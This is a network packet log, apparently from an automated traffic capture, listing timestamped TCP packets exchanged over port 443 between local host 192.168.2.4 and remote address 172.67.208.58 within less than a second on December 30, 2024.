Dec 30, 2024 19:10:34.619868040 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.619929075 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.619956970 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.619962931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.619997025 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620006084 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620011091 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620014906 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620045900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620064974 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620071888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620101929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620116949 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620409012 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620424986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620460987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620466948 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620497942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620508909 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620640039 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620656967 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620696068 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620699883 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620724916 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620738029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620768070 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620783091 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620825052 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.620830059 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.620933056 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.621272087 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.621289968 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.621328115 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.621332884 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.621356964 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.621376038 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.621474028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.621510983 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.621521950 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.621527910 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.621565104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.622451067 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.706353903 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.706382036 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.706423044 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.706437111 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.706459045 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.706475973 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.708401918 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.708429098 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.708489895 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.708503008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.708638906 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.708684921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.708702087 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.708708048 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.708734989 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.708760977 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.709017038 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709033012 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709069014 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.709074974 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709091902 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.709227085 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709248066 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709276915 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.709281921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709295034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.709326029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.709506035 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709532022 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709588051 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.709593058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709759951 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709774971 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709825993 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.709832907 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.709872961 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.710202932 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.710215092 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.710217953 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.710256100 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.710262060 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.710278034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.710305929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.716793060 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.795053005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.795073986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.795346022 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.795356035 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.795419931 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797115088 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797128916 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797208071 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797213078 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797297001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797322989 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797348022 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797353983 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797375917 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797401905 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797621012 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797636986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797687054 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797693014 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797712088 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797734976 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797848940 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797877073 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797910929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797915936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.797940969 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.797954082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.798192978 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.798226118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.798252106 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.798257113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.798291922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.798301935 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.798438072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.798461914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.798496008 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.798506021 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.798530102 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.798543930 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.798847914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.798868895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.798903942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.798908949 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.798937082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.798953056 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.799285889 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.883686066 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.883707047 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.883781910 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.883796930 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.884488106 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.885750055 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.885766029 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.885817051 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.885823965 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.885852098 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.885871887 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.885992050 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886008978 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886056900 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.886063099 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886271000 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886288881 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886343956 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.886348963 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886754990 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886781931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886814117 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.886821032 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886831045 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886850119 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886856079 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.886884928 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.886889935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.886915922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.887121916 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.887141943 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.887172937 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.887181044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.887202978 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.887418985 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.887437105 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.887465000 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.887471914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.887499094 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.887526035 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.888098955 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.972346067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.972368956 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.972554922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.972569942 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.972626925 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.974402905 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.974426031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.974500895 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.974507093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.974647999 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.974666119 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.974701881 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.974706888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.974730968 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.974754095 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.974982023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975013971 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975047112 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.975053072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975076914 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.975095034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.975258112 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975277901 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975318909 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.975326061 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975341082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.975367069 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.975528955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975548983 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975598097 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.975605011 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975858927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975878954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975923061 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.975929976 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.975944996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.975970984 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.976260900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.976277113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.976331949 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.976339102 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.976476908 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.976669073 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.060998917 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.061044931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.061086893 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.061100960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.061134100 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.061153889 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.062966108 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.062980890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.063044071 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.063050032 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.063235998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.063260078 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.063288927 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.063294888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.063323975 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.063339949 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.063566923 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.063581944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.063635111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.063641071 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.063992023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064011097 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064053059 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.064059019 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064090967 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.064111948 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.064220905 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064237118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064285040 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.064290047 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064373970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064393997 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064429045 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.064435005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064448118 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.064477921 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.064779997 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064791918 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.064851046 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.064856052 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.065094948 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.065114975 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.149615049 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.149638891 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.149730921 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.149746895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.151555061 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.151571989 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.151654959 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.151660919 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.151859045 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.151878119 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.151926041 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.151932955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.151943922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.152216911 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.152235031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.152275085 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.152281046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.152311087 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.152334929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.152450085 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.152472019 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.152517080 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.152528048 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.152714968 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.152731895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.152769089 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.152775049 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.152801037 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.152822971 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.153032064 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.153044939 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.153100967 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.153105974 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.153366089 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.153398037 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.153424025 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.153429031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.153455019 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.153481007 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.154028893 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.238548040 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.238570929 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.238617897 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.238630056 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.238660097 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.238671064 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.240359068 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.240374088 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.240443945 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.240448952 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.240570068 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.240859985 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.240880013 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.240916014 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.240926027 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.240941048 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.240962029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241206884 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241221905 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241270065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241276026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241302967 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241316080 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241473913 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241488934 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241525888 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241529942 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241552114 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241564989 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241585016 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241604090 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241630077 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241635084 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241657972 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241672993 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241801977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241816044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241856098 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241862059 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.241878986 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.241902113 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.242229939 CET	443	49746	172.67.208.58	192.168.2.4
